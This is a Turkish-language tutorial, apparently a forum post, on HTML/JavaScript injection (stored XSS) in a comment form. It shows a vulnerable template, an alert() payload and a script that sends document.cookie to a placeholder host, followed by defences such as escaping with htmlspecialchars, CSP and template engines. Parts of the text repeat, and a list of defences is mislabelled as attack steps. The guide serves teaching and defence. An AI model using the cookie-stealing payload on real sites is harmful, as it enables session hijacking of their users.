HTML/JS Injection, bir web uygulamasında kullanıcı tarafından gönderilen veri içeriğinin güvenlik kontrollerinden geçmeden sayfa içinde yönetilmesi sonucunda zararlı HTML veya JavaScript kodlarının çalışmasına olanak tanıyan bir güvenlik açığdır. Bu zafiyet, genellikle kullanıcı girdisinin doğrulanmaması ya da özel karakterlerin uygun bir şekilde kaçıştırılmaması nedeniyle ortaya çıkar.
HTML/JS Injection saldurularında siber saldırgan, bir form veya URL gibi kullanıcı girdisi kabul eden alanlara zararlı kod enjekte eder. Enjekte edilen bu kod, web tarayıcısı tarafından normal bir içerik gibi işlenir ve kullanıcıları etkilemek veya veri çalmak için kullanılabilir.
Örnek Zafiyet Durumu:
Bir yorum formunun işleyişini düşünelim. Form, gelen gönderiyi herhangi bir filtreleme yapmadan sayfa içeriğine ekliyor:
Siber saldırgan, yorum alanına şu girdiyi ekler:
Sonuçta, web sayfası şu hale gelir:
Bu durumda, sayfa açıldığında tarayıcı bu zararlı JavaScript kodunu çalıştırır.
Saldırı Adımları:
Girdiyi Doğrulama: Kullanıcıdan gelen girdi sadece izin verilen karakterlerle sınırlanmalıdır. Örneğin, yorum alanı sadece metin girdisini kabul etmelidir.
Girdiyi Kaçıştırma: HTML özel karakterleri ("<", ">", "&") kaçıştırılmalıdır. Sunucu tarafında bu işlemi yapan bir kütüphane kullanılabilir.
Content Security Policy (CSP): Tarayıcıları, sadece izin verilen kaynaklardan JavaScript yüklenmesine zorlamak için CSP kullanılabilir.
Hazır Şablon Motorları Kullanın: Handlebars.js, React, Angular gibi şablon motorları otomatik olarak HTML kaçıştırması yapabilir veya PHP kullanıyorsanız daha basit bir çözüm ile bundan kurtulabilirsiniz.
Örnek korunma yöntemi PHP & HTML:
Çıktı :
Bu durumda tarayıcı, zararlı kodu JavaScript olarak değil, düz bir metin olarak yorumlayacaktır.
Nasıl Çalışır?
HTML/JS Injection saldurularında siber saldırgan, bir form veya URL gibi kullanıcı girdisi kabul eden alanlara zararlı kod enjekte eder. Enjekte edilen bu kod, web tarayıcısı tarafından normal bir içerik gibi işlenir ve kullanıcıları etkilemek veya veri çalmak için kullanılabilir.
Örnek Zafiyet Durumu:
Bir yorum formunun işleyişini düşünelim. Form, gelen gönderiyi herhangi bir filtreleme yapmadan sayfa içeriğine ekliyor:
Kod:
<form method="POST" action="/submit_comment">
<textarea name="comment"></textarea>
<button type="submit">Yorumu Gönder</button>
</form>
<div id="comments">
<!-- Kullanıcı yorumları buraya ekleniyor -->
<p>Kullanıcı Yorumu: {{comment}}</p>
</div>
Siber saldırgan, yorum alanına şu girdiyi ekler:
Kod:
<script>alert('Bu bir saldırı!')</script>
Sonuçta, web sayfası şu hale gelir:
Kod:
<div id="comments">
<p>Kullanıcı Yorumu: <script>alert('Bu bir saldırı!')</script></p>
</div>
Bu durumda, sayfa açıldığında tarayıcı bu zararlı JavaScript kodunu çalıştırır.
HTML/JS Injection Senaryosu
Bir çevrimiçi blog sitesi, kullanıcı yorumlarını görüntülemek için bir şablon motoru kullanmıyor. Kullanıcı girdisi, filtrelenmeden doğrudan HTML içeriğine ekleniyor.Saldırı Adımları:
- Saldırgan, yorum formuna şu zararlı girdiyi yazar:
- <script>fetch('https://alanadi.com/steal?cookie=' + document.cookie)</script>
- Kullanıcılar bu yorumu gördüğünde, tarayıcı otomatik olarak çalıştırır.
Nasıl Korunulur?
Girdiyi Doğrulama: Kullanıcıdan gelen girdi sadece izin verilen karakterlerle sınırlanmalıdır. Örneğin, yorum alanı sadece metin girdisini kabul etmelidir.
Girdiyi Kaçıştırma: HTML özel karakterleri ("<", ">", "&") kaçıştırılmalıdır. Sunucu tarafında bu işlemi yapan bir kütüphane kullanılabilir.
Content Security Policy (CSP): Tarayıcıları, sadece izin verilen kaynaklardan JavaScript yüklenmesine zorlamak için CSP kullanılabilir.
Hazır Şablon Motorları Kullanın: Handlebars.js, React, Angular gibi şablon motorları otomatik olarak HTML kaçıştırması yapabilir veya PHP kullanıyorsanız daha basit bir çözüm ile bundan kurtulabilirsiniz.
Örnek korunma yöntemi PHP & HTML:
Kod:
<?php
$test = $_POST["testverisi"];
echo "Kullanıcı Yorumu: ".htmlspecialchars($test);
?>
Çıktı :
Kod:
<script>alert('Bu bir saldırı!')</script>
Bu durumda tarayıcı, zararlı kodu JavaScript olarak değil, düz bir metin olarak yorumlayacaktır.